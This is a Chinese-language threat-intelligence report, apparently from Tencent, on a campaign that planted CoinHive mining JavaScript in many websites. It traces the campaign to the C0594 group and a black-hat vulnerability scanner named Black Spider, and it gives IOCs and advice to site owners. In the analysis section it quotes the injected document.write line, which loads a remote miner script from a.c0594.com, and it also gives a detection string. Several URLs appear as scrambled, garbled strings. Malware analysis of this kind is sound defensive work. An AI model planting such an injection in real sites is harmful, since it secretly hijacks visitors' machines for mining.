0x1 概况

腾讯御见威胁情报中心近期监测发现，包括传统企业、互联网公司、学校和政府机构等在内的多个网站网页被植入挖矿JS脚本。经分析，该批站点中的核心JS文件被注入恶意代码，通过请求同一个脚本文件（ecaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4Q4x3X3g2U0x3o6f1&6y4q4)9J5k6h3y4G2L8g2)9J5c8W2)9K6c8X3g2Q4x3@1b7#2i4@1g2r3i4@1u0o6i4K6R3&6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1#2i4K6S2m8i4@1p5H3i4@1f1^5i4@1u0p5i4@1u0p5i4@1f1#2i4K6S2r3i4@1p5$3i4@1f1@1i4@1t1^5i4K6R3H3i4@1f1@1i4@1t1^5i4@1q4m8i4@1f1^5i4K6R3@1i4K6W2m8i4@1f1$3i4K6W2o6i4@1q4o6i4@1f1$3i4K6V1$3i4K6R3%4i4@1f1@1i4@1u0n7i4@1t1$3i4@1g2r3i4@1u0o6i4K6R3^5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4Q4x3X3g2U0x3o6f1&6y4q4)9J5k6h3y4G2L8g2)9J5c8W2)9K6c8X3A6K6i4K6y4p5x3g2!0q4c8W2!0n7b7#2)9^5z5g2!0q4y4W2)9^5c8W2)9&6x3q4!0q4y4q4!0n7c8g2)9&6b7W2!0q4y4#2)9&6b7g2)9^5y4p5y4G2K9h3&6t1K9i4k6W2i4@1f1$3i4K6S2o6i4K6V1$3i4@1f1%4i4K6W2r3i4@1u0r3i4@1f1@1i4@1u0n7i4@1p5K6i4@1f1%4i4@1p5H3i4K6R3I4i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1@1i4@1u0n7i4K6S2q4i4@1f1^5i4K6R3H3i4K6S2o6i4@1f1#2i4K6W2o6i4@1p5^5i4@1f1%4i4K6V1@1i4@1p5^5i4@1f1$3i4K6R3^5i4@1t1%4i4@1f1$3i4K6W2o6i4@1u0m8i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1@1i4@1t1^5i4K6S2m8i4@1f1$3i4K6R3&6i4@1p5%4i4@1f1^5i4@1p5I4i4K6S2o6i4@1f1$3i4K6S2o6i4K6V1$3i4@1f1%4i4K6W2r3i4@1u0r3i4@1f1K6i4K6R3H3i4K6R3J5

与以往直接在网页源码插入CoinHive挖矿代码不同，此次发现的挖矿行为通过动态加载JS文件，在不同网页中插入同样的恶意代码，并且统计收益的Site Key也相同，可以推测是同一个组织进行的一次有组织的攻击。由于该段挖矿代码来源于a.c0594.com，我们暂且将其称为C0594组织恶意挖矿事件。

0x2 事件分析

以该批站点中的bayimg.co网站为例，分析如下：

从bayimg.co网站源码，可看到JS：jquery.cookie.js被注入了恶意代码：

document.write('<script src=57fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4Q4x3U0N6Q4x3V1u0Q4x3U0N6Q4x3X3g2U0x3o6f1&6i4K6t1%4i4K6u0n7i4K6t1%4y4q4)9J5k6h3y4G2L8g2)9J5c8W2)9K6c8X3g2Q4x3@1b7#2i4K6t1$3k6%4c8Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7W2)9J5c8Y4y4U0M7X3W2H3N6q4)9J5y4X3N6@1i4K6y4n7i4K6t1%4i4K6t1&6

hxxp://a.c0594.com/?e=5同时会调用hxxp://a.c0594.com/?js=1

从而链接到CoinHive挖矿平台，执行挖矿操作。

挖矿收益最终归属为Coinhive.com对应Site Key: 99nheD84S8eJK7eD4pufvR5Wd1KGjxlj

在whorunscoinhive.com查询该Site Key挖矿的网页月流量达1011442，排在网页挖矿top榜第56位：

0x3 木马溯源

通过搜索引擎，可看到该组织早在2014年就开始对大量网站进行攻击：

使用腾讯御见威胁情报平台对a.c0594.com进行反查，发现该域名曾解析到ip 62.210.181.55和47.89.176.191

继续反查这两个ip，发现其下存在较多xxx.c0594.com以及xxx.094n.com的域名。

其中域名member.094n.com引起了我们的注意。

该平台提供webshell列表、WordPress漏洞列表、网站注入点管理等功能。在产品更新记录中还可以看到对struct漏洞攻击、SQLMAP注入攻击等的更新记录。

从网站下载最新的软件得到一款名为Black Spider的黑帽辅助软件。

该软件可以批量检测网站的漏洞，提供功能包括：自动爬取Getshell、自动扫描注入点、自动文件探测、旁站C段扫描、漏洞扫描、CMS安全检测、批量检测注入等。

软件的CMS.txt文件记录了支持检测的一百多种建站系统漏洞，包括学校建站系统、企业建站系统、文章管理等建站系统的漏洞。

针对各类漏洞，Black Spider.exe构造对应的url请求进行检测。

该工具可以检测出此次中招网站的Fck上传等漏洞。不法分子亦可利用此工具，通过后门植入挖矿代码或执行其它恶意动作。

Black Spider工具由Alihack.com开发而成，从挖矿木马所在网站a.c0594.com与黑客工具网站member.094n.com的IP信息也可看出二者关系微妙。

0x4 安全建议

腾讯安全专家建议如下：

1.    使用腾讯企业安全“御知”（检测地址：46bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6i4K6u0W2N6r3g2F1j5$3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8Y4m8J5L8$3c8#2j5%4c8Q4x3V1k6&6N6i4A6Z5K9g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2K9s2c8E0L8q4!0q4c8W2!0n7b7#2)9^5z5g2!0q4z5q4!0n7c8W2)9&6b7W2!0q4z5q4!0m8x3g2)9^5b7#2!0q4z5g2!0m8x3#2)9^5c8g2!0q4z5g2)9&6z5g2!0m8z5g2!0q4y4W2)9^5z5g2!0m8b7W2!0q4y4W2)9^5c8W2)9^5c8W2!0q4y4g2)9&6x3W2)9^5b7#2!0q4y4#2!0m8b7W2)9&6z5g2!0q4y4#2)9^5x3W2!0n7z5g2!0q4y4#2)9&6b7W2)9&6x3g2!0q4y4W2)9^5c8g2!0m8y4#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4g2)9^5c8W2)9^5b7g2!0q4y4W2)9&6y4#2!0n7y4W2!0q4y4q4!0n7c8W2!0m8c8g2!0q4y4g2!0m8y4q4)9^5c8q4N6W2j5W2!0q4y4W2)9&6b7#2)9^5c8q4!0q4y4g2)9^5b7g2!0m8x3g2!0q4y4g2)9&6z5g2!0m8z5q4!0q4y4g2!0n7b7W2!0n7b7g2!0q4y4#2!0m8b7W2)9&6z5g2!0q4y4#2!0n7x3#2!0n7b7W2!0q4y4#2!0n7b7W2)9&6c8W2!0q4y4g2!0m8c8g2)9^5z5g2!0q4y4g2)9^5y4g2!0m8z5q4!0q4y4W2!0n7b7#2)9^5c8W2!0q4y4W2!0n7y4q4)9&6c8g2!0q4x3#2)9^5x3q4)9^5x3R3`.`.

2.    网站管理员自查网站源码中是否包含“src=hxxp://a'+'.c059'+'4.com/?e=5”，若有，则表示已被入侵，可删除相关恶意代码。

3. 网站管理员可使用腾讯云网站管家智能防护平台，其具备Web入侵防护，0Day漏洞补丁修复等多纬度防御策略，可全面保护网站系统。下载地址：714K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3!0#2k6q4)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7X3!0V1N6h3y4@1i4K6u0r3N6$3q4X3

4.    普通网民可使用腾讯电脑管家拦截含挖矿木马的网页。

0x5 附录

受影响网站（部分）：

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课